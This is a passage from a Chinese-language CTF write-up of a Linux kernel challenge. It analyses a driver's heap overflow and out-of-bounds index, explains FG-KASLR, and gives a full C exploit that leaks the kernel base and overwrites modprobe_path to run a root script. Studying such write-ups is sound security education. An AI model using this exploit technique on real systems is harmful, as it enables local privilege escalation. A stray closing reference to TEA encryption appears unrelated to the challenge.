if ( !result )
return kmalloc_err();
lists[index] = result;
return result;
}

这里是固定分配了一个0x100大小的堆块然后将分配得到的地址写入到了lists数组中,该数组的元素个数为0x10个。接着是show函数,也就是choose_a_spell函数,该函数将用户指定的lists[index]中保存的堆块地址赋值到global_buffer全局变量中。然后是reset_spell也就是cmd=0xD3C7F02发生的系统调用,这里是将global_buffer清空。

最后是cast_a_spell函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 __fastcall cast_a_spell(__int64 *a1)
{
unsigned int size; // eax
int v2; // edx
__int64 buf; // rsi
_BYTE kernel_buf[256]; // [rsp+0h] [rbp-120h] BYREF
void *v6; // [rsp+100h] [rbp-20h]
int copyed_size; // [rsp+108h] [rbp-18h]
unsigned __int64 v8; // [rsp+110h] [rbp-10h]

v8 = __readgsqword(0x28u);
if ( !global_buffer )
return ((__int64 (*)(void))cast_a_spell_cold)();
v6 = global_buffer;
size = *((_DWORD *)a1 + 2);
v2 = 0x100;
buf = *a1;
if ( size <= 0x100 )
v2 = *((_DWORD *)a1 + 2);
copyed_size = v2;
if ( !copy_from_user(kernel_buf, buf, size) )
{
memcpy(global_buffer, kernel_buf, *((unsigned int *)a1 + 2));
global_buffer = v6;
*((_DWORD *)&global_buffer + 2) = copyed_size;
}
return __readgsqword(0x28u) ^ v8;
}

函数中最为重要的就是两个拷贝操作了,首先是copy_from_user(kernel_buf, buf, size),这里的buf是用户输入的buf,也就是首先按照用户指定的大小将用户指定的内容拷贝到kernel_buf数组中,接着是memcpy(global_buffer, kernel_buf, *((unsigned int *)a1 + 2));也是按照用户指定的大小将kernel_buf中的数据拷贝到global_buffer也就是之前分配的堆块中。这里很明显的可以看到有堆溢出,虽然在拷贝之前进行了size的验证,但是拷贝过程中却是使用的用户指定的size

利用

首先我们看一下溢出可以覆盖什么,这里溢出直接溢出的是global_bufferkernel_bufferkernel_buffer溢出之后会覆写v6,然而我们看到v6最终会被赋值为global_buffer,也就是我们可以通过溢出控制global_buffer指针,达到任意地址写的效果。

但是这里还存在一个问题就是地址泄漏。这里就需要利用到另一个漏洞,也就是索引越界,所有的函数并没有对lists[index]的索引值进行检查,因此存在一个索引越界的漏洞,而lists数组的高地址位置恰好为vmlinux_base也就是内核的基地址,这是在open函数中进行赋值的。因此这里可以读取vmlinux_base中指向的代码块的内容。从代码中可以根据重定位之后的数据泄漏的到vmlinux的基地址。也就是得到了内核基地址。

这里使用的是覆写modprobe_path的方法。将其覆写为指定的脚本,那么当程序执行一个错误的二进制文件的时候脚本就会被触发执行。

调试

这里遇到一个问题就是通过lsmod或者直接cat /proc/module显示出来的基地址和ida中的函数偏移无法对应。之后才知道这是内核开启了FG_KASLR机制,该机制是KASLR的加强版,全称是Function Granular KASLR,译为函数颗粒化地址随机分布。一般来说开启了KASLR,会使得目标文件加载到内存的其实地址随机化,而FG-KASLR则是按照函数级别对内核代码进行重新排列。也就是说我们无法直接通过泄漏出内核的其实地址而根据offset确定对应的函数地址了,因为此时函数之间的顺序被打乱了。

在调试的时候可以通过

1
cat /sys/module/liproll/sections/.text.cast_a_spell

来依次确定我们想要的函数的地址,再下断点。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>

typedef struct spell_struct{
char* buf;
unsigned long long sz;
}Spell;

int fd;

void init()
{
fd = open("/dev/liproll",O_RDWR);
return;
}

void cast_spell(char* buf,unsigned long long sz)
{
Spell sp;
memset(&sp,0,sizeof(Spell));
sp.buf = buf;
sp.sz = sz;
if(-1 == ioctl(fd,0xD3C7F01,&sp))
printf("[-]err when ioctl cast spell.\n");
return;
}

void reset_spell()
{
char buf[0x8] = { 0 };
if(-1 == ioctl(fd,0xD3C7F02,buf))
printf("[-]err when ioctl reset spell.\n");
return;
}

void create_spell()
{
char buf[0x8] = { 0 };
if(-1 == ioctl(fd,0xD3C7F03,buf))
printf("[-]err when ioctl create spell.\n");
return;
}

void choose_spell(unsigned int idx)
{
if(-1 == ioctl(fd,0xD3C7F04,&idx))
printf("[-]err when ioctl choose spell.\n");
return;
}


int main(){
//leak sth
char buf[0x200] = { 0 };
system("echo -ne '#!/bin/sh\n/bin/cp /root/flag /tmp/flag\n/bin/chmod 777 /tmp/flag' > /tmp/getflag.sh");
system("chmod +x /tmp/getflag.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/ll");
system("chmod +x /tmp/ll");
init();
create_spell();
create_spell();
unsigned int idx;
idx = 0;
choose_spell(0);
read(fd,buf,0x100);
//leak sth about the slab ?
choose_spell(16);
read(fd,buf,0x100);
//leak vmlinux base
unsigned int leak_vmliux = *(unsigned int*)((char*)(buf+0x69));
unsigned long long vmlinux_base = 0xffffffff00000000 + leak_vmliux - 0x6f;
unsigned long long request_module = (0xffffffffb4662180-0xffffffffb3e00000) + vmlinux_base;
unsigned long long modprobe_path = (0xffffffffb5248460-0xffffffffb3e00000) + vmlinux_base;
printf("[+]vmlinux base : 0x%llx\n",vmlinux_base);
printf("[+]request module : 0x%llx\n",request_module);
printf("[+]modprobe path : 0x%llx\n",modprobe_path);
//overwrite the modprobe_path
*(unsigned long long *)(buf+0x100) = modprobe_path;
choose_spell(0);
cast_spell(buf,0x108);
strncpy(buf,"/tmp/getflag.sh",0x20);
cast_spell(buf,0x20);
system("/tmp/ll");
system("cat /tmp/flag");
return 0;

}

参考

TEA、XTEA、XXTEA加密解密算法